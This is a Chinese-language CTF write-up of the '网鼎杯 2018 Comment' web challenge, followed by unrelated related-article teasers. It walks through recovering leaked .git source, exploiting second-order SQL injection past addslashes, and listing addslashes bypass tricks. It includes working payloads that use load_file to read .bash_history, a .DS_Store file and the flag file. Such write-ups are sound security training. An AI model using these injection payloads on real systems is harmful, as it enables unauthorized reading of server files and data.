[网鼎杯 2018]Comment

又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入。

因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的。

  1. [21:03:10] Starting:
  2. [21:03:10] 301 - 388B - /.git -> http://72f9009e-83ae-410a-8849-6cf1c2f44fe2.node3.buuoj.cn/.git/
  3. [21:03:10] 200 - 23B - /.git/HEAD
  4. [21:03:10] 200 - 145B - /.git/index
  5. [21:03:10] 200 - 92B - /.git/config
  6. [21:03:10] 200 - 73B - /.git/description
  7. [21:03:12] 403 - 323B - /.git/
  8. [21:03:13] 200 - 7KB - /index.php
  9. [21:03:13] 200 - 2KB - /login.php
  10. [21:03:20] 429 - 568B - /phpmyadmin/
  11. [21:03:20] 429 - 568B - /phpMyAdmin/

到kali下面利用githack找一下git文件python GitHacker.py http://72f9009e-83ae-410a-8849-6cf1c2f44fe2.node3.buuoj.cn/.git

cat一下发现源代码是不全的,所以接下来应该修复一手:

到生成文件的目录:git log --relog

得到继续:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

这样我们就得到了如下代码:

  1. <?php
  2. include "mysql.php";
  3. session_start();
  4. if($_SESSION['login'] != 'yes'){
  5. header("Location: ./login.php");
  6. die();
  7. }
  8. if(isset($_GET['do'])){
  9. switch ($_GET['do'])
  10. {
  11. case 'write':
  12. $category = addslashes($_POST['category']);
  13. $title = addslashes($_POST['title']);
  14. $content = addslashes($_POST['content']);
  15. $sql = "insert into board
  16. set category = '$category',
  17. title = '$title',
  18. content = '$content'";
  19. $result = mysql_query($sql);
  20. header("Location: ./index.php");
  21. break;
  22. case 'comment':
  23. $bo_id = addslashes($_POST['bo_id']);
  24. $sql = "select category from board where id='$bo_id'";
  25. $result = mysql_query($sql);
  26. $num = mysql_num_rows($result);
  27. if($num>0){
  28. $category = mysql_fetch_array($result)['category'];
  29. $content = addslashes($_POST['content']);
  30. $sql = "insert into comment
  31. set category = '$category',
  32. content = '$content',
  33. bo_id = '$bo_id'";
  34. $result = mysql_query($sql);
  35. }
  36. header("Location: ./comment.php?id=$bo_id");
  37. break;
  38. default:
  39. header("Location: ./index.php");
  40. }
  41. }
  42. else{
  43. header("Location: ./index.php");
  44. }
  45. ?>

到了登陆界面,其实刚开始没理解,直接就照着提示把三个*全都打进去了,结果发现是要替换的,直接burp跑一波就ok了。

此时就是看着源码进行sql注入了,他是加了一个addslashes进行过滤准备的,但是有的时候addslash也是一个能造成漏洞的点。

  1. $sql = "insert into comment
  2. set category = '$category',
  3. content = '$content',
  4. bo_id = '$bo_id'";

addslash:

  1. gbk导致宽字节注入
  2. 使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
  3. url解码导致绕过addslashes
  4. base64解码导致绕过addslashes
  5. json编码导致绕过addslashes
  6. 没有使用引号保护字符串,直接无视addslashes
  7. stripslashes(去掉了\)
  8. 字符替换导致的绕过addslashes

这里分成了两个功能模块,一个是发帖,另一个是评论,两个功能。

两个地方都利用到了addslash进行转义,但是都仅仅对于输入进行转义,对于输出没有进行转义,这就有可能造成二次注入,在mysql中,addslash添加的反斜杠是能够起作用的,即\'在表里面value值就是'的意义,那么我们拿出来的时候就可以进行闭合了。

同时闭合了单引号之后我们还需要,注释,因为#号只能适用于单行的注释,对于多行的注释我们使用/**/从而进行拼接的注释,所以在我们注册完成后,我们在comment处这么写*/#那么拼接起来就是:

  1. insert into comment
  2. set category = ' ',content=user(),/*',
  3. content = '*/#',
  4. bo_id = '$bo_id'";

完成了二次注入。

之后我们利用文件的读取,load_file函数.

payload:',content=(select(load_file("/home/www/.bash_history"))),/*

output:

cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

这里的具体步骤是:

  1. 切换到/tmp目录下解压html压缩包
  2. ​删除压缩包,
  3. html复制到var/www/目录下,
  4. 切换到/var/www/html目录,
  5. 删除.Ds_Store.
  6. 启动apache服务
  7. 但是这里我们发现一个问题,他没有删除/tmp/html目录下的.Ds_Store文件,所以我们可以尝试i读取,(信息泄露)
  8. 123',content=(select load_file('/tmp/html/.Ds_Store')),/*

无显示,用hex编码显示

',content=(select hex(load_file("/tmp/html/.DS_Store"))),/* 得到:flag_8946e1ff1ee3e40f.php文件

',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*

得到:

3C3F7068700A24666C6167203D2027666C61677B66396361316136622D396437382D313165382D393061332D6334623330316237623939627D273B0A3F3E0A

解码发现不对:

',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

再次读取:

',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

[网鼎杯 2018]Comment的更多相关文章

  1. [网鼎杯 2018]Comment-1|SQL注入|二次注入

    1.打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下: 2.那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户.密码给出了 ...

  2. 【网鼎杯2018】fakebook

    解题过程: 首先进行目录扫描,发现以下目录: user.php.bak login.php flag.php user.php robots.txt user.php.bak猜测存在源码泄露. 查看源 ...

  3. 刷题 [网鼎杯 2018]Fakebook

    解题思路 首先登陆页面发现是这样的: 查看源码 源码很正常,也没有什么特别的 web目录扫描 我用的是dirmap工具扫描,扫描结果保存在一个txt文件中,结果可知没什么后台. robots.txt ...

  4. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  5. [网鼎杯2018]Unfinish-1|SQL注入|二次注入

    1.进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下: 2.进行目录扫描,发现了注册界面:register.php,结果如下: 3.那就访问注册界面, ...

  6. CTF-i春秋网鼎杯第四场部分writeup

    CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...

  7. CTF-i春秋网鼎杯第二场misc部分writeup

    CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...

  8. CTF-i春秋网鼎杯第一场misc部分writeup

    CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...

  9. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

随机推荐

  1. 更换git远程仓库地址

    通过命令直接修改远程仓库地址 git remote 查看所有远程仓库 git remote xxx 查看指定远程仓库地址 git remote set-url origin 你新的远程仓库地址 先删除 ...

  2. Xposed+X5使用

    1.Xposed 2.X5

  3. IntelliJ IDEA下git版本回退,版本还原

    原文链接:https://blog.csdn.net/hehyyoulan/article/details/80005272

  4. 力扣Leetcode 983. 最低票价

    最低票价 在一个火车旅行很受欢迎的国度,你提前一年计划了一些火车旅行.在接下来的一年里,你要旅行的日子将以一个名为 days 的数组给出.每一项是一个从 1 到 365 的整数. 火车票有三种不同的销 ...

  5. Python 逆向抓取 APP 数据

    今天继续给大伙分享一下 Python 爬虫的教程,这次主要涉及到的是关于某 APP 的逆向分析并抓取数据,关于 APP 的反爬会麻烦一些,比如 Android 端的代码写完一般会进行打包并混淆加密加固 ...

  6. wampserver64 apache2.4版本局域网互相访问总结

    wampserver64  apache2.4版本局域网互相访问总结 背景:在我的电脑上给算法组开发了一个工具,需要在局域网环境下其他同事都能访问到,搞了一下午终于搞定,于是整理了这篇文档,给其他同行 ...

  7. 【JAVA】给大家推荐一道有意思的java测试题。你知道答案吗?

    作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985, QQ986945193 公众号:程序员小冰 public class Test { /** * * ...

  8. java最简单的知识之创建一个简单的windows窗口,利用Frame类

    作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985 QQ986945193 微博:http://weibo.com/mcxiaobing 首先给大家看一下 ...

  9. 0827考试 T1

    Description ​ 有一棵树,每个点有一个权值,找到一个权值最大的"乙烷"模型. ​ "乙烷"模型是指: ​ 其中黑点表示可以有0个或多个点. Samp ...

  10. Web测试经典bug、安全性测试

    典型BUG 表格的排序.翻页.添加.删除的联合测试 输入框的长度检查 数据库表中如果指定utf8长度为150,则可以输入150个中文或英文字母等 (有时候界面判断失误,却只能输入50个汉字) 数据添加 ...